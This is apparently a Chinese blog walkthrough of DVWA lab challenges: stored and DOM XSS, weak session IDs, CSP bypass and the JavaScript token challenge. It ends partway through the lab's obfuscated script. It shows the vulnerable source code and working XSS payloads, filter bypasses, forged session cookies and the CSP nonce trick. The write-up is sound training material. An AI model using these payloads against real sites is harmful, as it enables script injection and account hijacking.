8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

在后端源码中,使用正则表达式过滤了<script>标签,但是忽略了img、iframe等其他危险的标签,因此name参数依旧存在存储型XSS

漏洞利用

抓包改name参数或者前端更改name输入框输入限制长度后输入

1
<img src=1 onerror=alert(1)>

成功弹框

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

从源码中,通过htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

XSS(DOM)

DOM XSS与前面的两种xss的区别主要是:dom xss的产生并没有和后台服务器产生交互,而是通过浏览器的dom树解析产生的。

该部分参考:https://www.freebuf.com/articles/web/157953.html

Low

服务器端没有源码,查看前端的源码,发现处理用户输入的只有前端的js代码:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>

这边大约的方法是从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点。

漏洞利用

构造payload:

1
http://172.18.9.91/DVWA-master/vulnerabilities/xss_d/?default=<script>alert(/xss/)</script>

弹框成功,说明xss存在,浏览器在解析html dom树时会触发js弹框代码。

Medium

前端代码和low是一样的

1
2
3
4
5
6
7
8
9
10
11
12
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>

但是在后端对url的default参数值进行限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

在服务器端不允许出现script标签,否则就会将default的值设为默认的English,stripos还防止了大小写绕过

漏洞利用

1.url中有一个字符为#,该字符数后的数据不会大送到服务器端,从而绕过服务其端过滤,构造playload

1
http://172.18.9.91/DVWA-master/vulnerabilities/xss_d/?#default=<script>alert(/xss/)</script>

成功绕过

2.使用img标签或者其他标签的特性去执行js代码,比如img标签的onerror事件,构造playload

1
http://172.18.9.91/DVWA-master/vulnerabilities/xss_d/?default=</option></select><img src=# onerror=alert(/xss/)>

成功弹框

要注意,在构建playload时要将option以及select标签进行闭合,并且img标签内的src属性值要为#,否则无法弹出弹框。这样做会破坏页面的结构,隐蔽性不如第一种方法。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

在服务器后端的判断中,要求default的值必须是select选择菜单中的值,但是依旧可以使用Medium级别的方法#符号进行绕过,构造如下的playload

1
http://172.18.9.91/DVWA-master/vulnerabilities/xss_d/?default=English#<script>alert(/xss/)</script>

Weak Session IDs(弱会话IDs)

该模块参考链接:https://blog.csdn.net/weixin_40950781/article/details/99933784

Weak Session IDs,就是当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问,sessionID作为特定用户访问站点所需要的唯一内容,如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可,为了告诉服务器应该使用哪个Session,浏览器需要将当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到cookie上,之后只要cookie随着http请求发送服务器,服务器就知道是谁在访问。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

session利用的实质:

由于SessionID是用户登录后才持有的唯一认证凭证,因此攻击者不需要在攻击登录过程(比如密码)就可以轻易获取访问权限,虚无登录密码直接进入特定用户界面,进而查找其他楼栋如XSS、文件上传等。

Session劫持:

就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以成为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,凡是这种方式的安全性难以经受考验。

Low

服务器端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

在该级别中,源码显示若之前未登录,则置last_session_id为0,然后每登陆一次就将last_session_id加一。其余没有设置过滤。

漏洞利用:

burpsuite进行抓包:

构造payload:

1
dvwaSession=1; security=low; PHPSESSID=pge0humuj0s4vfsmrddu9r5i64

为验证其有效性,清除浏览器的cookie值,提交后看是否能登陆,清除后浏览器登录会退出,此时将构造好的报文进行发送

发现是可以进行登录的,可能使用火狐浏览器的hackbar进行提交会比较明显

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

源码发现是通过时间戳生成的dvwaSession的,关于时间戳转换,可以查找转换器进行转化即可。转换地址:https://tool.lu/timestamp/

漏洞利用

通过设置时间戳,可以诱骗受害者在某个时间点进行点击,抓包获取相应的报文,得到时间戳

在线转换得到登录时间

将报文中的cookie通过火狐的hackbar插件发送到服务器中,发现是直接登录的

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

High级别使用PHP setcookie()函数,进行设置cookie,参数为

setcookie(name,value,expire,path,domain,secure,httponly)

参数 描述
name 必需,规定cookie名称
value 必需,规定cookie的值
expire 可选,规定cookie的有效期
path 可选,规定cookie的服务器路径
domain 可选,规定cookie的域名
secure 可选,规定是否通过安全的HTTPS连接来传输cookie
httponly 可选,规定是否Cookie仅可通过HTTP协议访问

漏洞利用

抓包看到,dvwaSession值是MD5加密返回来的,使用md5解密,发现是对从零开始的整数进行加密,构造相应的playload使用火狐提交服务器可以绕过。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

$cookie_value采用随机数+时间戳+固定字符串“Impossible”,再进行sha1运算,若无法逆转该过程就无法构建相应的payload进行提交。

CSP Bypass

该模块参考:https://blog.csdn.net/weixin_42555985/article/details/88382976

CSP,即Content Security Policy(CSP),内容(网页)安全策略,为了缓解潜在的跨站脚本问题(XSS攻击),浏览器的扩展程序系统引入内容安全策略(CSP)。在上面的XSS中,主要都是利用函数过滤/转义输入中的特殊字符,标签,文本来应对攻击。CSP则是另外一种常用的应对XSS攻击策略。

CSP的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以进行加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

通过两种方法可启用CSP

  • 一种是通过HTTP响应头信息的Content-Security-Policy字段
  • 一种是通过网页的标签
1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
  • script-src,脚本:只信任当前域名
  • object-src:不信任任何URL,即不加载任何资源
  • style-src,样式表:只信任cdn.example.org和third-party.org
  • child-src:必须使用https协议加载,这个已从web标准中删除,新版本浏览器可能不支持
  • 其他资源:没有限制其他资源

启用CSP后,不符合CSP的外部资源就会被阻止加载

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

观察头部信息,罗列允许JavaScript的网站

1
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com

在提交网页信息时,通过开发者工具也可以观察到同样的结果。

此时可以上pastebin网站上写一个javascript代码alert(/hhhh/),生成相应的界面后,使用raw保存记住链接

1
https://pastebin.com/aGyf3ace

然后在DVWA输入界面中输入链接,结果如下:

这样就将pastebin上保存的js代码被执行了,因为pastebin网站是被信任的,攻击者可以把恶意代码保存在受信任的网站上,然后把链接发送给用户点击,实现注入。

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

主要是在http头信息中的script-src的合法来源发生了变化

  • unsafe-inline,允许使用内联资源,如内联<script>元素,javascript;URL,内联事件处理程序(如onclick)和内联<style>元素,必须包括单引号。

  • nonce-source,仅允许特定的内联脚本块

    nonce=TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA

知道这些就可以直接将以下代码进行注入:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(/hahaha/)</script>

但是这种方式需要提前知道nonce。

High

服务器端源码

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

在该级别中,CSP头设置了只允许自身加载JS(script-src ‘self’)

JavaScript

在该模块就是你能提交success这个词,成功现实就是ok了。

Low

直接在前端改成success,提交发现是不对的

F12查看源码情况

可以看到这个是token,不是后台生成的,而是在前台生成的token,是前台生成的token是用md5(”ChangeMe”),而后台期待的是md5是md5(”success”)

通过源码发现获取token的函数是generate_token(),函数内主要是md5()和rot13()函数进行加密,拆解加密过程使用线上加密工具,现将success字符串进行rot13加密

将获取到的加密字符串进行md5加密,并选择32位小写

用burpsuite拦截提交报文,并更改相关参数

结果如下:

Medium

服务器端源码

1
2
3
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>

后端获取token的JS源码

1
2
3
4
5
6
7
8
9
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--)
t+=e[n];
return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e){
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

通过查看JS代码逻辑,发现token是由do_something(e+document.getElementById(“phrase”).value+”XX”)产生,通过重新构建代码并访问得到相关的token

1
2
3
4
5
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--)t+=e[n];
return t
}
alert(do_something("XX"+'success'+"XX"));

获取到token后使用bp进行拦截报文并将相关的参数进行修改即可。

High

服务器端源码

1
2
3
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>

后端JS源码

1
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|